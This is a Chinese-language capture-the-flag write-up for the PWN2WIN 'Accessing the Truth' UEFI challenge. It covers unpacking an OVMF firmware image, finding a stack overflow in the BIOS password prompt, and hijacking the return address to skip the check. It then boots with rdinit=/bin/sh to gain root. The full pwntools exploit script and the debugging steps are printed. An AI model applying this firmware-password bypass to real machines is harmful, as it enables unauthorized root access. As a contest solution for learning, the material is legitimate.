<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    解決第一個UEFI PWN——Accessing the Truth解題思路

    VSole2022-04-11 08:37:41

    前段時間打了場PWN2WIN,期間遇到了這道BIOS題,正好來學習一下UEFI PWN

    題目包含下列文件

    題目分析

    run.py是題目給的啟動腳本

    #!/usr/bin/python3 -uimport randomimport stringimport subprocessimport tempfile
    def random_string(n):    return ''.join(random.choice(string.ascii_lowercase) for _ in range(n))
    def check_pow(bits):    r = random_string(10)    print(f"hashcash -mb{bits} {r}")    solution = input("Solution: ").strip()    if subprocess.call(["hashcash", f"-cdb{bits}", "-r", r, solution],                       cwd="/tmp",                       stdout=subprocess.DEVNULL,                       stderr=subprocess.DEVNULL) != 0:        raise Exception("Invalid PoW")
    #check_pow(25)
    fname = tempfile.NamedTemporaryFile().name
    subprocess.call(["cp", "OVMF.fd", fname])try:  subprocess.call(["chmod", "u+w", fname])  subprocess.call(["qemu-system-x86_64",                   "-monitor", "/dev/null",                   "-m", "64M",                   "-drive", "if=pflash,format=raw,file=" + fname,                    "-drive", "file=fat:rw:contents,format=raw",                   "-net", "none",                   "-nographic"], stderr=subprocess.DEVNULL, timeout=60)except:  pass
    subprocess.call(["rm", "-rf", fname])print("Bye!")
    

    注釋掉pow,直接啟動。啟動起來是一個低權限用戶的linux虛擬機,目標是獲取根目錄下flag.txt的內容,典型的內核題

    仔細看啟動命令,貌似沒加載任何可疑的虛擬設備,排除掉QEMU逃逸

    解開contents/initramfs.cpio,看到init文件。這里有一條mount -t efivarfs efivarfs /sys/firmware/efi/efivars,懷疑是UEFI PWN

    另外,啟動腳本里有60秒的timout,需要把這里干掉

    解開OVMF

    找到一個工具UEFITool能打開OVMF.fd,里面的文件貌似是PE32格式

    binwalk也能識別出來是PE,無奈還是解不開,繼續找工具

    發現這工具能解開:UEFI Firmware Parser

    uefi-firmware-parser -ecO ./OVMF.fd
    

    解開后發現一堆pe raw文件

    定位到UiApp

    既然是BIOS PWN,那就先進BIOS吧,啟動時連按F12就進來了。

    進BIOS以后有一個密碼校驗,過了應該就能進BIOS。此外,還發現了以下一些信息

    拿UEFITool能搜到些信息

    這里的id貌似能跟進BIOS的id對得上,這個應該是GUID

    在解開的文件里搜462CAA21-7614-4503-836E-8AB6F4662331,找到了這個目錄

    IDA打開section0.pe,分析完以后這里選Unicode

    查找字符串,就能看到Enter Password:,可以確定section0.pe就是UiApp這個登錄校驗程序

    靜態分析

    校驗程序有個sha256

    漏洞點在:不會讓while循環break掉,同時index不斷自增1,buf = &input_buf[index];獲取到的棧地址繼續往后延,這樣可能會覆蓋到返回地址

    int __cdecl main(int argc, const char **argv, const char **envp){  void *v3; // rsp  void *v4; // rsp  __int64 v5; // rdx  __int64 v6; // r8  __int64 v7; // r9  size_t v8; // rdx  __int64 v9; // r8  __int64 v10; // r9  char *buf; // rdx  unsigned __int64 v12; // rax  __int64 v13; // rdx  __int64 v14; // r8  __int64 v15; // r9  char v17[7]; // [rsp+20h] [rbp-60h] BYREF  char c; // [rsp+27h] [rbp-59h]  char *input_buf; // [rsp+28h] [rbp-58h]  __int64 v20; // [rsp+30h] [rbp-50h]  char *v21; // [rsp+38h] [rbp-48h]  __int64 v22; // [rsp+40h] [rbp-40h]  size_t v23; // [rsp+48h] [rbp-38h]  unsigned __int64 v24; // [rsp+50h] [rbp-30h]  __int64 index; // [rsp+58h] [rbp-28h]
      v24 = 0i64;  index = -1i64;  v23 = 32i64;  v22 = 31i64;  v3 = alloca(32i64);  v21 = v17;  v20 = 31i64;  v4 = alloca(32i64);  input_buf = v17;  wputs(word_1395A, 15i64, 32i64, 0i64);  while ( v24 <= 2 )  {    sub_9D3(input_buf, v23, 0i64);    index = -1i64;    wputs(L"Enter Password: ", v5, v6, v7);    while ( 1 )    {      c = getchar();      ++index;      if ( c == '\r' )        break;      if ( c != '' )      {        buf = &input_buf[index];        *buf = c;        wputs(L"*", buf, v9, v10);        v12 = wstr_length(input_buf);        v8 = v23 - 1;        if ( v12 >= v23 - 1 )          break;      }    }    wputs(L"", v8, v9, v10);    sha256_process(input_buf, index, v21);    if ( !((__int64 (__fastcall *)(char *, void *, size_t))memcmp)(v21, &unk_1B840, v23) )      return 1;    wputs(L"Wrong!!", v13, v14, v15);    ++v24;  }  return 0;}
    

    UiApp沒開ASLR和NX,溢出后直接在棧執行shellcode即可

    Debug

    啟動腳本

    from pwn import *
    context.arch = "amd64"context.log_level = "debug"
    tube.s = tube.sendtube.sl = tube.sendlinetube.sa = tube.sendaftertube.sla = tube.sendlineaftertube.r = tube.recvtube.ru = tube.recvuntiltube.rl = tube.recvlinetube.ra = tube.recvalltube.rr = tube.recvregextube.irt = tube.interactive
    DEBUG = 1
    if DEBUG == 0:    fname = "/tmp/test_uefi"    os.system("cp OVMF.fd %s" % (fname))    os.system("chmod u+w %s" % (fname))
        p = process(["qemu-system-x86_64", "-m", "64M", "-drive", "if=pflash,format=raw,file="+fname, "-drive",                    "file=fat:rw:contents,format=raw", "-net", "none", "-nographic"], env={})elif DEBUG == 1:    fname = "/tmp/test_uefi"    os.system("cp OVMF.fd %s" % (fname))    os.system("chmod u+w %s" % (fname))
        p = process(["qemu-system-x86_64", "-s", "-m", "64M", "-drive", "if=pflash,format=raw,file="+fname, "-drive",                    "file=fat:rw:contents,format=raw", "-net", "none", "-nographic"], env={})elif DEBUG == 2:    p = remote('accessing-the-truth.pwn2win.party', 1337)
    def exploit():    p.recvn(1)    # sleep(1)    p.send("\x1b[24~")
        p.irt()
    if __name__ == "__main__":    exploit()
    

    啟動腳本加上-s參數,進BIOS以后gdb attach上

    問題就是怎么拿到UiApp的加載地址?嘗試在gdb里搜這段數據

    找到三個地址,這里的0x28ba990比較可疑

    減去Enter Password:的offset,即0x28ba990-0x13990 = 0x28a7000,然后以0x28a7000為基址查看main函數的代碼

    可以斷定0x28a7000就是UiApp的加載基址

    0x28a7000修正IDA分析的基址

    在IDA打上斷點,給UiApp發以下數據

    def exploit():    p.recvn(1)    # sleep(1)    p.send("\x1b[24~")
        #print(p.recvuntil("Password"))
        pause()    p.sa('Password', 'A'*2+''*2+'B'*0x18+'\r')
        p.irt()
    

    由于''*2,buf跳過了兩個byte的地址,因而發送足夠多便可溢出到返回地址

    Hijack to BIOS Booting

    &buf = 0x3EBC650距離返回地址0x3EBC6F0-0x3EBC650+8 = 0xa8byte

    這樣構造便能覆蓋到返回地址

    payload = b''*0xa8 + p32(0xdeadbeaf)payload += b'\r'
    

    控了rip以后,需要將rip劫持到BIOS正常啟動的代碼,這片代碼便是過了校驗后啟動BIOS程序

    對應的匯編代碼,嘗試劫持到0x28B0DD5

    另外,發送/r會導致break while,只要令v25>=3即發送三次\r便能跳出外層while并return。

    現在已經看到能啟動到BIOS了

    但pwntools連接的圖形操作還有問題,可以用socat來連

    socat -,raw,echo=0 SYSTEM:"python ./solve.py"
    

    進入BIOS,增加一條啟動項,啟動內容加上rdinit=/bin/sh,保存后選該啟動項來啟動系統

    啟動進入到系統,現在已經是root權限

    打遠程

    Script

    完整EXP

    #socat STDIO,icanon=0,echo=0 SYSTEM:"python ./solve.py"#socat -,raw,echo=0 SYSTEM:"python ./solve.py"
    from pwn import *
    context.arch = "amd64"#context.log_level = "debug"
    tube.s = tube.sendtube.sl = tube.sendlinetube.sa = tube.sendaftertube.sla = tube.sendlineaftertube.r = tube.recvtube.ru = tube.recvuntiltube.rl = tube.recvlinetube.rn = tube.recvntube.ra = tube.recvalltube.rr = tube.recvregextube.irt = tube.interactive
    DEBUG = 1
    if DEBUG == 0:    fname = "/tmp/test_uefi"    os.system("cp OVMF.fd %s" % (fname))    os.system("chmod u+w %s" % (fname))
        p = process(["qemu-system-x86_64", "-s", "-m", "64M", "-drive", "if=pflash,format=raw,file="+fname, "-drive",                    "file=fat:rw:contents,format=raw", "-net", "none", "-nographic"], env={})elif DEBUG == 1:    p = remote('accessing-the-truth.pwn2win.party', 1337)
    def pass_pow():    p.ru('hashcash -mb25')    hash = p.rl().strip()
        cmd = 'hashcash -mb25 '+hash.decode(encoding="utf-8")    res = os.popen(cmd)    cash = res.read()    res.close()
        p.sa('Solution:', cash)
    def exploit():    pass_pow()
        p.rn(1)    p.s('\x1b[24~'*10)
        #pause()    #p.sa('Password', 'A'*2+''*2+'B'*0x18+'\r')    #payload = 'A'*2+''*2+'B'*0x18+'\r'
        #payload = b''*0xa8 + p32(0xdeadbeaf)    #payload += b'\r'
        payload = b''*0xa8 + p32(0x28b0dd5)    payload += b'\r'
        #pause()    p.sa('Password', payload)
        payload = '\r'    p.s(payload)    p.s(payload)
        p.irt()
    if __name__ == "__main__":    exploit()
    
    uefibios
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    The Hacker News 網站披露, Eclypsium 網絡安全研究員發現技嘉售出的 271 款,近 700 萬片主板中存在”類似后門的“安全漏洞。設備的 UEFI 固件中“潛伏”一個 Windows 可執行文件,并以不安全的格式檢索更新,以此觸發隱藏的更新程序。Eclypsium 指出潛在攻擊者可以利用這種機制,在用戶不知情的情況下安裝惡意程序,且后續難以檢測和刪除。Eclypsium
    網絡可信身份認證
    2021-10-12 13:19:17
    身份認證技術是依靠軟件進行身份認證,具有無法抵御旁路攻擊、容易被木馬/病毒攻擊、無權限的客戶端非法接入的問題。可綜合利用UEFI技術和可信計算技術,在用戶客戶端進入操作系統前,實現用戶客戶端可信身份認證和安全接入控制,提高網絡的安全性。
    在今天的2021年消費電子展上,英特爾宣布將通過改進其硬件屏蔽和威脅檢測技術將勒索軟件檢測功能添加到其新的第11代Core vPro處理器中。根據英特爾和Cybereason的說法,當硬件勒索軟件試圖隱藏在虛擬機中以避免勒索軟件時,這種新技術應允許公司檢測勒索軟件攻擊 ,因為硬件盾和TDT在其下方運行許多層。盡管Cybereason將首先支持使用硬件指示器檢測勒索軟件,但其他安全廠商很可能會在此功能中利用它。
    卡巴斯基的研究人員報告了一種隱藏在主板 UEFI 鏡像難以根除的惡意程序 CosmicStrand,該惡意程序的早期版本被奇虎 360 的研究人員稱為諜影木馬。
    0x00 摘要 大型黑客組織在bootkits的使用上有著長期的成功經驗。bootkits是BIOS/UEFI中隱藏的特殊惡意代碼,能夠實現長期隱藏而不被發現,甚至在重新安裝操作系統和更換硬盤驅動器后仍然存在。由于bootkits具有天然...
    近日泄漏到 4chan 和 GitHub 上的 Alder Lake BIOS 源碼,已經得到了英特爾的證實,可知其中 6GB 文件包含了用于構建和優化 BIOS / UEFI 映像的工具和代碼。
    聯想上周五發布了針對其 ThinkPad 系列產品和 System x 服務器產品的兩個補丁。其中一個漏洞與安全啟動過程中的身份驗證缺陷有關;另一個漏洞則是任意代碼執行漏洞。 第一個高危的安全啟動漏洞(CVE-2017-3775)是聯想內部測試團隊發現的,受影響的有近十幾個供企業使用的聯想系統,包括 System x、Flex System 和一臺高密度 NeXtScale nx360 M5 型服
    近日,知名軟硬件公司American Megatrends International(安邁,簡稱AMI)開發的MegaRAC基帶管理控制器(BMC)軟件曝出了兩個新的嚴重漏洞。BMC是一種微型計算機,焊接到了服務器的主板上,使云中心及其客戶可以簡化遠程管理大批計算機的任務。這使管理員們能夠遠程重裝操作系統、安裝和卸載應用程序,以及控制整個系統的幾乎其他各個方面,甚至在關閉時也能控制。
    2021年5月12日,美國政府發布了關于改善國家網絡安全的行政命令 (EO 14028),以應對多個重要議題,SBOM(軟件物料清單)就是其中之一,它試圖通過要求供應商提供更多有關其產品/解決方案組件的信息來改善軟件供應鏈的安全性。幾周后,網絡安全和基礎設施安全局 (CISA)為了回應EO 14028,在 RSA 2021會議正式公布VBOS計劃 , 即 "操作系統更底層的漏洞", 以促進 SBO
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类